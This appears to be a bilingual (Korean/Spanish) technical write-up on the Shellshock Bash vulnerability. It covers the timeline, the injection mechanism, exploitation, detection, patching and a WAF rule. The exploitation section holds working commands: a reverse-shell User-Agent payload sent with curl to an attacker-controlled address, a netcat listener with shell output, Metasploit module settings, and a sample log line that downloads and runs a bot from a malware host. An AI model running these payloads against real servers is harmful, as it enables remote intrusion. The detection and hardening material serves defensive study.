환경 변수 → 함수 정의 → [여기서 추가 코드 실행] ← 버그

12 Sep 2014 ──── Stéphane Chazelas가 버그를 발견하여 Bash 유지보수자인 Chet Ramey에게 보고
                 이 버그는 Bash에 20년 넘게 존재했습니다.

24 Sep 2014 ──── 공개 공개 + 패치 배포 (CVE-2014-6271)
                 몇 시간 후: 봇넷이 대규모로 인터넷을 스캔 중.

25-30 Sep 2014 ── 관련 취약점 발견:
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

Oct 2014 ──────── 수백만 건의 공격 기록. 심각도가 Heartbleed와 비교됨.

# Variable de entorno maliciosa:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# Bash vulnerable al inicializarse:
# 1. Lee la definición de función  → OK
# 2. Encuentra }; → debería parar
# 3. CONTINÚA → ejecuta /bin/cat /etc/passwd  ← BUG

Atacante                    Servidor Apache (CGI)              Bash (vulnerable)
   │                               │                                │
   │  HTTP Request                 │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │  Convierte headers a env vars  │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ Ejecuta cmd
   │                               │                                │ como www-data
   │◀──────────────────────────────│◀───────────────────────────────│
   │  Respuesta + output del cmd   │                                │

env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

VULNERABLE
this is a test

this is a test

영향을 받는 헤더: User-Agent, Referer, Cookie, X-Forwarded-For, 및 모든 사용자 정의 헤더

# Si el servidor tiene ForceCommand configurado, un atacante con clave válida puede bypassearlo
ssh user@target '() { :;}; /bin/bash'

# Cualquier proceso que herede variables de entorno y ejecute Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"

nc -lvnp 4444

# Payload que se inyecta en el User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1

curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://sitio-vulnerable.com/cgi-bin/test.cgi

Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run

# Buscar el patrón característico en access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# Ejemplo de log malicioso:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

# Procesos hijos de www-data/apache que no deberían existir
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

- /tmp, /var/tmp, /dev/shm에 새 실행 파일
- 웹 서버에서 알 수 없는 IP로의 나가는 연결
- /etc/crontab 또는 /etc/passwd 수정
- 터미널 없이 www-data로 실행 중인 bash 프로세스

# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# Verificar versión parcheada (debe mostrar "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PARCHEADO (varía por distro)

# Debe devolver solo "this is a test" — NUNCA "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

# 1. Deshabilitar CGI si no es necesario
a2dismod cgi

# 2. Regla WAF para bloquear el patrón
# En ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"

# 3. Monitoreo continuo de logs
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"